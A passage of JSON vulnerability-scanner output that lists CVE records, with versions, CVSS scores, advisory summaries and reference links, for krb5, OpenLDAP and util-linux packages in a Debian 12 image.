{ "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 }, "nvd": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 }, "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 5.9 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:19357", "https://access.redhat.com/security/cve/CVE-2026-40356", "https://bugzilla.redhat.com/2463368", "https://bugzilla.redhat.com/2463370", "https://bugzilla.redhat.com/show_bug.cgi?id=2463368", "https://bugzilla.redhat.com/show_bug.cgi?id=2463370", "https://cems.fun/2026/04/27/krb5-two-unauthenticated-network-vulnerabilities.html", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-40355", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-40356", "https://errata.almalinux.org/9/ALSA-2026-19357.html", "https://errata.rockylinux.org/RLSA-2026:19357", "https://github.com/advisories/GHSA-f7p3-6rhj-p7jv", "https://github.com/krb5/krb5/commit/2e75f0d9362fb979f5fc92829431a590a130929f", "https://linux.oracle.com/cve/CVE-2026-40356.html", "https://linux.oracle.com/errata/ELSA-2026-19357.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-40356", "https://ubuntu.com/security/notices/USN-8585-1", "https://web.mit.edu/kerberos/advisories", "https://web.mit.edu/kerberos/advisories/", "https://www.cve.org/CVERecord?id=CVE-2026-40356" ], "PublishedDate": "2026-04-28T07:16:03.197Z", "LastModifiedDate": "2026-10-26T22:10:00.163Z" }, { "VulnerabilityID": "CVE-2026-40355", "VendorIDs": [ "DSA-6293-1" ], "PkgID": "libkrb5-3@1.20.1-2+deb12u4", "PkgName": "libkrb5-3", "PkgIdentifier": { "PURL": "pkg:deb/debian/libkrb5-3@1.20.1-2%2Bdeb12u4?arch=amd64\u0026distro=debian-12.13", "UID": "57354df75f5dabf8" }, "InstalledVersion": "1.20.1-2+deb12u4", "FixedVersion": "1.20.1-2+deb12u5", "Status": "fixed", "Layer": { "DiffID": "sha256:6ff9247b3f41dc0936f831eb656f2c2fca4682b9f1cbc17d601d0ab9f1f43e4a" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-40355", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:d512bb67c61286cf2ae5b6fcb6d3deb99c42b4105b5197d204003ccc464a7610", "Title": "krb5: MIT Kerberos 5: Denial of Service via NULL pointer dereference in NegoEx mechanism", "Description": "In MIT Kerberos 5 (aka krb5) before 1.22.3, there is a NULL pointer dereference if an application calls gss_accept_sec_context() on a system with a NegoEx mechanism registered in /etc/gss/mech. An unauthenticated remote attacker can trigger this, causing the process to terminate in parse_nego_message.", "Severity": "HIGH", "CweIDs": [ "CWE-476" ], "VendorSeverity": { "alma": 3, "amazon": 2, "azure": 2, "julia": 3, "nvd": 3, "oracle-oval": 3, "photon": 3, "redhat": 2, "rocky": 3, "ubuntu": 2 }, "CVSS": { "julia": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 }, "nvd": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 }, "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 5.9 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:19357", "https://access.redhat.com/security/cve/CVE-2026-40355", "https://bugzilla.redhat.com/2463368", "https://bugzilla.redhat.com/2463370", "https://bugzilla.redhat.com/show_bug.cgi?id=2463368", "https://bugzilla.redhat.com/show_bug.cgi?id=2463370", "https://cems.fun/2026/04/27/krb5-two-unauthenticated-network-vulnerabilities.html", "https://cert-portal.siemens.com/productcert/html/ssa-019113.html", "https://cert-portal.siemens.com/productcert/html/ssa-082556.html", "https://cert-portal.siemens.com/productcert/html/ssa-457936.html", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-40355", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-40356", "https://errata.almalinux.org/9/ALSA-2026-19357.html", "https://errata.rockylinux.org/RLSA-2026:19357", "https://github.com/advisories/GHSA-8qgv-wm66-hrmc", "https://github.com/krb5/krb5/commit/2e75f0d9362fb979f5fc92829431a590a130929f", "https://linux.oracle.com/cve/CVE-2026-40355.html", "https://linux.oracle.com/errata/ELSA-2026-19357.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-40355", "https://ubuntu.com/security/notices/USN-8585-1", "https://web.mit.edu/kerberos/advisories", "https://web.mit.edu/kerberos/advisories/", "https://www.cve.org/CVERecord?id=CVE-2026-40355" ], "PublishedDate": "2026-04-28T06:16:03.663Z", "LastModifiedDate": "2026-10-26T21:10:00.17Z" }, { "VulnerabilityID": "CVE-2026-40356", "VendorIDs": [ "DSA-6293-1" ], "PkgID": "libkrb5-3@1.20.1-2+deb12u4", "PkgName": "libkrb5-3", "PkgIdentifier": { "PURL": "pkg:deb/debian/libkrb5-3@1.20.1-2%2Bdeb12u4?arch=amd64\u0026distro=debian-12.13", "UID": "57354df75f5dabf8" }, "InstalledVersion": "1.20.1-2+deb12u4", "FixedVersion": "1.20.1-2+deb12u5", "Status": "fixed", "Layer": { "DiffID": "sha256:6ff9247b3f41dc0936f831eb656f2c2fca4682b9f1cbc17d601d0ab9f1f43e4a" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-40356", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:0de74fa3423d9b5aa8c4a017da382cd61ee02ef9a8d3a8a7ffab7ba52d395fb0", "Title": "krb5: MIT Kerberos 5 (krb5): Denial of Service via integer underflow and out-of-bounds read", "Description": "In MIT Kerberos 5 (aka krb5) before 1.22.3, there is an integer underflow and resultant out-of-bounds read if an application calls gss_accept_sec_context() on a system with a NegoEx mechanism registered in /etc/gss/mech. An unauthenticated remote attacker can trigger this, possibly causing the process to terminate in parse_message.", "Severity": "HIGH", "CweIDs": [ "CWE-191" ], "VendorSeverity": { "alma": 3, "amazon": 2, "azure": 2, "julia": 3, "nvd": 3, "oracle-oval": 3, "photon": 3, "redhat": 2, "rocky": 3, "ubuntu": 2 }, "CVSS": { "julia": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 }, "nvd": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 }, "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 5.9 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:19357", "https://access.redhat.com/security/cve/CVE-2026-40356", "https://bugzilla.redhat.com/2463368", "https://bugzilla.redhat.com/2463370", "https://bugzilla.redhat.com/show_bug.cgi?id=2463368", "https://bugzilla.redhat.com/show_bug.cgi?id=2463370", "https://cems.fun/2026/04/27/krb5-two-unauthenticated-network-vulnerabilities.html", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-40355", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-40356", "https://errata.almalinux.org/9/ALSA-2026-19357.html", "https://errata.rockylinux.org/RLSA-2026:19357", "https://github.com/advisories/GHSA-f7p3-6rhj-p7jv", "https://github.com/krb5/krb5/commit/2e75f0d9362fb979f5fc92829431a590a130929f", "https://linux.oracle.com/cve/CVE-2026-40356.html", "https://linux.oracle.com/errata/ELSA-2026-19357.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-40356", "https://ubuntu.com/security/notices/USN-8585-1", "https://web.mit.edu/kerberos/advisories", "https://web.mit.edu/kerberos/advisories/", "https://www.cve.org/CVERecord?id=CVE-2026-40356" ], "PublishedDate": "2026-04-28T07:16:03.197Z", "LastModifiedDate": "2026-10-26T22:10:00.163Z" }, { "VulnerabilityID": "CVE-2026-40355", "VendorIDs": [ "DSA-6293-1" ], "PkgID": "libkrb5support0@1.20.1-2+deb12u4", "PkgName": "libkrb5support0", "PkgIdentifier": { "PURL": "pkg:deb/debian/libkrb5support0@1.20.1-2%2Bdeb12u4?arch=amd64\u0026distro=debian-12.13", "UID": "265d410917bdc3d8" }, "InstalledVersion": "1.20.1-2+deb12u4", "FixedVersion": "1.20.1-2+deb12u5", "Status": "fixed", "Layer": { "DiffID": "sha256:6ff9247b3f41dc0936f831eb656f2c2fca4682b9f1cbc17d601d0ab9f1f43e4a" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-40355", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:64b5ab47a4ea05bd86e7a2c7d96bce22eebfdf36498a1292f6efa411f37f5d32", "Title": "krb5: MIT Kerberos 5: Denial of Service via NULL pointer dereference in NegoEx mechanism", "Description": "In MIT Kerberos 5 (aka krb5) before 1.22.3, there is a NULL pointer dereference if an application calls gss_accept_sec_context() on a system with a NegoEx mechanism registered in /etc/gss/mech. An unauthenticated remote attacker can trigger this, causing the process to terminate in parse_nego_message.", "Severity": "HIGH", "CweIDs": [ "CWE-476" ], "VendorSeverity": { "alma": 3, "amazon": 2, "azure": 2, "julia": 3, "nvd": 3, "oracle-oval": 3, "photon": 3, "redhat": 2, "rocky": 3, "ubuntu": 2 }, "CVSS": { "julia": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 }, "nvd": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 }, "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 5.9 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:19357", "https://access.redhat.com/security/cve/CVE-2026-40355", "https://bugzilla.redhat.com/2463368", "https://bugzilla.redhat.com/2463370", "https://bugzilla.redhat.com/show_bug.cgi?id=2463368", "https://bugzilla.redhat.com/show_bug.cgi?id=2463370", "https://cems.fun/2026/04/27/krb5-two-unauthenticated-network-vulnerabilities.html", "https://cert-portal.siemens.com/productcert/html/ssa-019113.html", "https://cert-portal.siemens.com/productcert/html/ssa-082556.html", "https://cert-portal.siemens.com/productcert/html/ssa-457936.html", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-40355", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-40356", "https://errata.almalinux.org/9/ALSA-2026-19357.html", "https://errata.rockylinux.org/RLSA-2026:19357", "https://github.com/advisories/GHSA-8qgv-wm66-hrmc", "https://github.com/krb5/krb5/commit/2e75f0d9362fb979f5fc92829431a590a130929f", "https://linux.oracle.com/cve/CVE-2026-40355.html", "https://linux.oracle.com/errata/ELSA-2026-19357.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-40355", "https://ubuntu.com/security/notices/USN-8585-1", "https://web.mit.edu/kerberos/advisories", "https://web.mit.edu/kerberos/advisories/", "https://www.cve.org/CVERecord?id=CVE-2026-40355" ], "PublishedDate": "2026-04-28T06:16:03.663Z", "LastModifiedDate": "2026-10-26T21:10:00.17Z" }, { "VulnerabilityID": "CVE-2026-40356", "VendorIDs": [ "DSA-6293-1" ], "PkgID": "libkrb5support0@1.20.1-2+deb12u4", "PkgName": "libkrb5support0", "PkgIdentifier": { "PURL": "pkg:deb/debian/libkrb5support0@1.20.1-2%2Bdeb12u4?arch=amd64\u0026distro=debian-12.13", "UID": "265d410917bdc3d8" }, "InstalledVersion": "1.20.1-2+deb12u4", "FixedVersion": "1.20.1-2+deb12u5", "Status": "fixed", "Layer": { "DiffID": "sha256:6ff9247b3f41dc0936f831eb656f2c2fca4682b9f1cbc17d601d0ab9f1f43e4a" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-40356", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:0add54946155293a4baaa801c23cc51fd944bdc6999e63ac5d8a66846da73720", "Title": "krb5: MIT Kerberos 5 (krb5): Denial of Service via integer underflow and out-of-bounds read", "Description": "In MIT Kerberos 5 (aka krb5) before 1.22.3, there is an integer underflow and resultant out-of-bounds read if an application calls gss_accept_sec_context() on a system with a NegoEx mechanism registered in /etc/gss/mech. An unauthenticated remote attacker can trigger this, possibly causing the process to terminate in parse_message.", "Severity": "HIGH", "CweIDs": [ "CWE-191" ], "VendorSeverity": { "alma": 3, "amazon": 2, "azure": 2, "julia": 3, "nvd": 3, "oracle-oval": 3, "photon": 3, "redhat": 2, "rocky": 3, "ubuntu": 2 }, "CVSS": { "julia": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 }, "nvd": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 }, "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 5.9 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:19357", "https://access.redhat.com/security/cve/CVE-2026-40356", "https://bugzilla.redhat.com/2463368", "https://bugzilla.redhat.com/2463370", "https://bugzilla.redhat.com/show_bug.cgi?id=2463368", "https://bugzilla.redhat.com/show_bug.cgi?id=2463370", "https://cems.fun/2026/04/27/krb5-two-unauthenticated-network-vulnerabilities.html", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-40355", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-40356", "https://errata.almalinux.org/9/ALSA-2026-19357.html", "https://errata.rockylinux.org/RLSA-2026:19357", "https://github.com/advisories/GHSA-f7p3-6rhj-p7jv", "https://github.com/krb5/krb5/commit/2e75f0d9362fb979f5fc92829431a590a130929f", "https://linux.oracle.com/cve/CVE-2026-40356.html", "https://linux.oracle.com/errata/ELSA-2026-19357.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-40356", "https://ubuntu.com/security/notices/USN-8585-1", "https://web.mit.edu/kerberos/advisories", "https://web.mit.edu/kerberos/advisories/", "https://www.cve.org/CVERecord?id=CVE-2026-40356" ], "PublishedDate": "2026-04-28T07:16:03.197Z", "LastModifiedDate": "2026-10-26T22:10:00.163Z" }, { "VulnerabilityID": "CVE-2023-2953", "PkgID": "libldap-2.5-0@2.5.13+dfsg-5", "PkgName": "libldap-2.5-0", "PkgIdentifier": { "PURL": "pkg:deb/debian/libldap-2.5-0@2.5.13%2Bdfsg-5?arch=amd64\u0026distro=debian-12.13", "UID": "8abd013240dfa23c" }, "InstalledVersion": "2.5.13+dfsg-5", "Status": "affected", "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2023-2953", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:c3cffe078f1a16382f965c45a242d322d1badfc139890edd557ff41a189d1e13", "Title": "openldap: null pointer dereference in ber_memalloc_x function", "Description": "A vulnerability was found in openldap. This security flaw causes a null pointer dereference in ber_memalloc_x() function.", "Severity": "HIGH", "CweIDs": [ "CWE-476" ], "VendorSeverity": { "alma": 1, "amazon": 2, "bitnami": 3, "cbl-mariner": 3, "nvd": 3, "oracle-oval": 1, "photon": 3, "redhat": 1, "rocky": 1, "ubuntu": 1 }, "CVSS": { "bitnami": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 }, "nvd": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 }, "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:H", "V3Score": 7.1 } }, "References": [ "http://seclists.org/fulldisclosure/2023/Jul/47", "http://seclists.org/fulldisclosure/2023/Jul/48", "http://seclists.org/fulldisclosure/2023/Jul/52", "https://access.redhat.com/errata/RHSA-2024:4264", "https://access.redhat.com/security/cve/CVE-2023-2953", "https://bugs.openldap.org/show_bug.cgi?id=9904", "https://bugzilla.redhat.com/2210651", "https://bugzilla.redhat.com/show_bug.cgi?id=2210651", "https://cert-portal.siemens.com/productcert/html/ssa-398330.html", "https://cert-portal.siemens.com/productcert/html/ssa-806742.html", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-2953", "https://errata.almalinux.org/8/ALSA-2024-4264.html", "https://errata.rockylinux.org/RLSA-2024:4264", "https://linux.oracle.com/cve/CVE-2023-2953.html", "https://linux.oracle.com/errata/ELSA-2024-4264.html", "https://nvd.nist.gov/vuln/detail/CVE-2023-2953", "https://security.netapp.com/advisory/ntap-20230703-0005/", "https://support.apple.com/kb/HT213843", "https://support.apple.com/kb/HT213844", "https://support.apple.com/kb/HT213845", "https://ubuntu.com/security/notices/USN-6197-1", "https://ubuntu.com/security/notices/USN-6616-1", "https://www.cve.org/CVERecord?id=CVE-2023-2953" ], "PublishedDate": "2023-05-30T22:15:10.613Z", "LastModifiedDate": "2026-10-14T21:17:15.61Z" }, { "VulnerabilityID": "CVE-2026-53613", "PkgID": "libmount1@2.38.1-5+deb12u3", "PkgName": "libmount1", "PkgIdentifier": { "PURL": "pkg:deb/debian/libmount1@2.38.1-5%2Bdeb12u3?arch=amd64\u0026distro=debian-12.13", "UID": "660648258d99e18b" }, "InstalledVersion": "2.38.1-5+deb12u3", "Status": "affected", "Layer": { "DiffID": "sha256:e48af84b2108a5d73effd9e16685b42ac33e7994e606398c46690918f5f3604a" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-53613", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:2c5768824055c1c38df9dcb10f0d041585e73b99d7f0311da34c89003c779923", "Title": "util-linux: TOCTOU in the mount program via ancestor directory swap on target path", "Description": "util-linux is a random collection of Linux utilities. In util-linux 2.17 through 2.41.6 and 2.42 through 2.42.3, and in 2.42.4 when the legacy `mount(2)` path is used without `/proc`, restricted non-root `mount` requests validate an `/etc/fstab` target before the mount operation re-resolves that pathname. A local low-privileged user authorized by an fstab `user` or `users` entry whose target has an attacker-writable ancestor can use `renameat2(RENAME_EXCHANGE)` to swap a path component and redirect an authorized mount to a root-owned location, such as mounting attacker-controlled content over `/etc/sudoers.d`, and thereby gain root privileges. Versions 2.41.5 and 2.42.2 pin targets for the new mount API, and 2.42.4 pins legacy targets through `/proc/self/fd`; the documented legacy fallback without `/proc` remains affected.", "Severity": "HIGH", "CweIDs": [ "CWE-367" ], "VendorSeverity": { "alma": 3, "azure": 3, "oracle-oval": 3, "redhat": 3, "rocky": 3, "ubuntu": 2 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:93461", "https://access.redhat.com/security/cve/CVE-2026-53613", "https://bugzilla.redhat.com/2454956", "https://bugzilla.redhat.com/2494101", "https://bugzilla.redhat.com/2519646", "https://bugzilla.redhat.com/2519647", "https://bugzilla.redhat.com/2519648", "https://bugzilla.redhat.com/2521999", "https://bugzilla.redhat.com/2522497", "https://bugzilla.redhat.com/2522684", "https://bugzilla.redhat.com/2552551", "https://bugzilla.redhat.com/show_bug.cgi?id=2454956", "https://bugzilla.redhat.com/show_bug.cgi?id=2494101", "https://bugzilla.redhat.com/show_bug.cgi?id=2519646", "https://bugzilla.redhat.com/show_bug.cgi?id=2519647", "https://bugzilla.redhat.com/show_bug.cgi?id=2519648", "https://bugzilla.redhat.com/show_bug.cgi?id=2521999", "https://bugzilla.redhat.com/show_bug.cgi?id=2522497", "https://bugzilla.redhat.com/show_bug.cgi?id=2522684", "https://bugzilla.redhat.com/show_bug.cgi?id=2552551", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-13595", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-27456", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53612", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53613", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53614", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53615", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-76642", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-78408", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-78410", "https://errata.almalinux.org/10/ALSA-2026-93461.html", "https://errata.rockylinux.org/RLSA-2026:93461", "https://github.com/util-linux/util-linux/commit/0b010025a0e429bc80355c94db86a843395d49e2", "https://github.com/util-linux/util-linux/commit/0d3d55975aa3492c62fd345eac38f41cd166c0b0", "https://github.com/util-linux/util-linux/commit/2c773f336134acf016e639abb6f12ba7341fe4b8", "https://github.com/util-linux/util-linux/commit/39fef62bf3226abb6bb018fa8750afa0327e84b4", "https://github.com/util-linux/util-linux/commit/472cc3fb2d4d47cca7aab2e0b59eb3fb8a9359ec", "https://github.com/util-linux/util-linux/commit/646fb66603d10a7ac337e14f566f1af48e3107c9", "https://github.com/util-linux/util-linux/commit/708d1b3c51932dc5ba8082c7368187715e6a8d78", "https://github.com/util-linux/util-linux/commit/78a860982e036f38fe9c0b3344998df5ac2c2ff5", "https://github.com/util-linux/util-linux/commit/85d16b341f7232c9dbb4884b632e1e956584bee9", "https://github.com/util-linux/util-linux/commit/a9508d216eb8977979102782672e0470cc9bf2a2", "https://github.com/util-linux/util-linux/releases/tag/v2.41.5", "https://github.com/util-linux/util-linux/releases/tag/v2.42.2", "https://github.com/util-linux/util-linux/releases/tag/v2.42.4", "https://github.com/util-linux/util-linux/security/advisories/GHSA-8gj5-72r3-428g", "https://linux.oracle.com/cve/CVE-2026-53613.html", "https://linux.oracle.com/errata/ELSA-2026-93461.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-53613", "https://ubuntu.com/security/notices/USN-8702-1", "https://www.cve.org/CVERecord?id=CVE-2026-53613" ], "PublishedDate": "2026-10-14T15:17:20.41Z", "LastModifiedDate": "2026-10-16T16:00:33.533Z" }, { "VulnerabilityID": "CVE-2026-53615", "PkgID": "libmount1@2.38.1-5+deb12u3", "PkgName": "libmount1", "PkgIdentifier": { "PURL": "pkg:deb/debian/libmount1@2.38.1-5%2Bdeb12u3?arch=amd64\u0026distro=debian-12.13", "UID": "660648258d99e18b" }, "InstalledVersion": "2.38.1-5+deb12u3", "Status": "affected", "Layer": { "DiffID": "sha256:e48af84b2108a5d73effd9e16685b42ac33e7994e606398c46690918f5f3604a" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-53615", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:b56b1f89bb16666b10d9cd66530bc6823553dac0f873dff28d3b2d8a3d3176e4", "Title": "util-linux: util-linux: Partition metadata compromise via integer overflow in DOS partition parser", "Description": "util-linux is a random collection of Linux utilities. Before util-linux 2.41.4, `parse_dos_extended()` in `libblkid/src/partitions/dos.c` computes an extended-partition start sector with 32-bit addition and does not apply the extended-area bounds checks to the first two EBR entries. A local attacker who causes a crafted DOS extended-partition disk image or removable medium to be probed can wrap `cur_start + start` to sector zero and cause libblkid to report a false partition overlapping the MBR. This directly compromises the integrity of the reported partition metadata; disk modification or availability loss requires a separate downstream consumer to act on that metadata. This issue is fixed in 2.41.4.", "Severity": "HIGH", "CweIDs": [ "CWE-190" ], "VendorSeverity": { "alma": 3, "amazon": 3, "azure": 3, "oracle-oval": 3, "redhat": 3, "rocky": 3, "ubuntu": 2 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:H", "V3Score": 8 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:93461", "https://access.redhat.com/security/cve/CVE-2026-53615", "https://bugzilla.redhat.com/2454956", "https://bugzilla.redhat.com/2494101", "https://bugzilla.redhat.com/2519646", "https://bugzilla.redhat.com/2519647", "https://bugzilla.redhat.com/2519648", "https://bugzilla.redhat.com/2521999", "https://bugzilla.redhat.com/2522497", "https://bugzilla.redhat.com/2522684", "https://bugzilla.redhat.com/2552551", "https://bugzilla.redhat.com/show_bug.cgi?id=2454956", "https://bugzilla.redhat.com/show_bug.cgi?id=2494101", "https://bugzilla.redhat.com/show_bug.cgi?id=2519646", "https://bugzilla.redhat.com/show_bug.cgi?id=2519647", "https://bugzilla.redhat.com/show_bug.cgi?id=2519648", "https://bugzilla.redhat.com/show_bug.cgi?id=2521999", "https://bugzilla.redhat.com/show_bug.cgi?id=2522497", "https://bugzilla.redhat.com/show_bug.cgi?id=2522684", "https://bugzilla.redhat.com/show_bug.cgi?id=2552551", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-13595", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-27456", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53612", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53613", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53614", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53615", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-76642", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-78408", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-78410", "https://errata.almalinux.org/10/ALSA-2026-93461.html", "https://errata.rockylinux.org/RLSA-2026:93461", "https://github.com/util-linux/util-linux/commit/05c2dbadf34cc74192287f377904afaaf4061623", "https://github.com/util-linux/util-linux/commit/a2d858176b609ab5b8535021a3af9cd302d23d31", "https://github.com/util-linux/util-linux/commit/e9d544d013267ea86b70ee8ff78abd280e6641af", "https://github.com/util-linux/util-linux/releases/tag/v2.41.4", "https://github.com/util-linux/util-linux/security/advisories/GHSA-h4rw-gv36-wmp5", "https://linux.oracle.com/cve/CVE-2026-53615.html", "https://linux.oracle.com/errata/ELSA-2026-93461.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-53615", "https://ubuntu.com/security/notices/USN-8702-1", "https://www.cve.org/CVERecord?id=CVE-2026-53615" ], "PublishedDate": "2026-10-14T16:17:46.07Z", "LastModifiedDate": "2026-10-16T16:00:33.533Z" }, { "VulnerabilityID": "CVE-2026-78410", "PkgID": "libmount1@2.38.1-5+deb12u3", "PkgName": "libmount1", "PkgIdentifier": { "PURL": "pkg:deb/debian/libmount1@2.38.1-5%2Bdeb12u3?arch=amd64\u0026distro=debian-12.13", "UID": "660648258d99e18b" }, "InstalledVersion": "2.38.1-5+deb12u3", "Status": "affected", "Layer": { "DiffID": "sha256:e48af84b2108a5d73effd9e16685b42ac33e7994e606398c46690918f5f3604a" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-78410", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:8078580188f2d1d04fe29f8a4ae9f7aee9da58294f4b41f91d41758fcca9f457", "Title": "util-linux: util-linux: restricted bind mounts do not pin the source, allowing X-mount.owner/group/mode redirection", "Description": "A flaw was found in util-linux. Restricted bind mounts take the source path from fstab but do not pin that source before the privileged mount. A local unprivileged user who can replace the authorized source or a writable ancestor can redirect SUID mount(8) to bind another host directory. If the fstab entry also sets X-mount.owner, X-mount.group, or X-mount.mode, root then changes ownership or mode on that redirected inode.", "Severity": "HIGH", "CweIDs": [ "CWE-367" ], "VendorSeverity": { "alma": 3, "azure": 3, "oracle-oval": 3, "redhat": 3, "rocky": 3 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:63162", "https://access.redhat.com/errata/RHSA-2026:93461", "https://access.redhat.com/errata/RHSA-2026:95365", "https://access.redhat.com/security/cve/CVE-2026-78410", "https://bugzilla.redhat.com/2454956", "https://bugzilla.redhat.com/2494101", "https://bugzilla.redhat.com/2519646", "https://bugzilla.redhat.com/2519647", "https://bugzilla.redhat.com/2519648", "https://bugzilla.redhat.com/2521999", "https://bugzilla.redhat.com/2522497", "https://bugzilla.redhat.com/2522684", 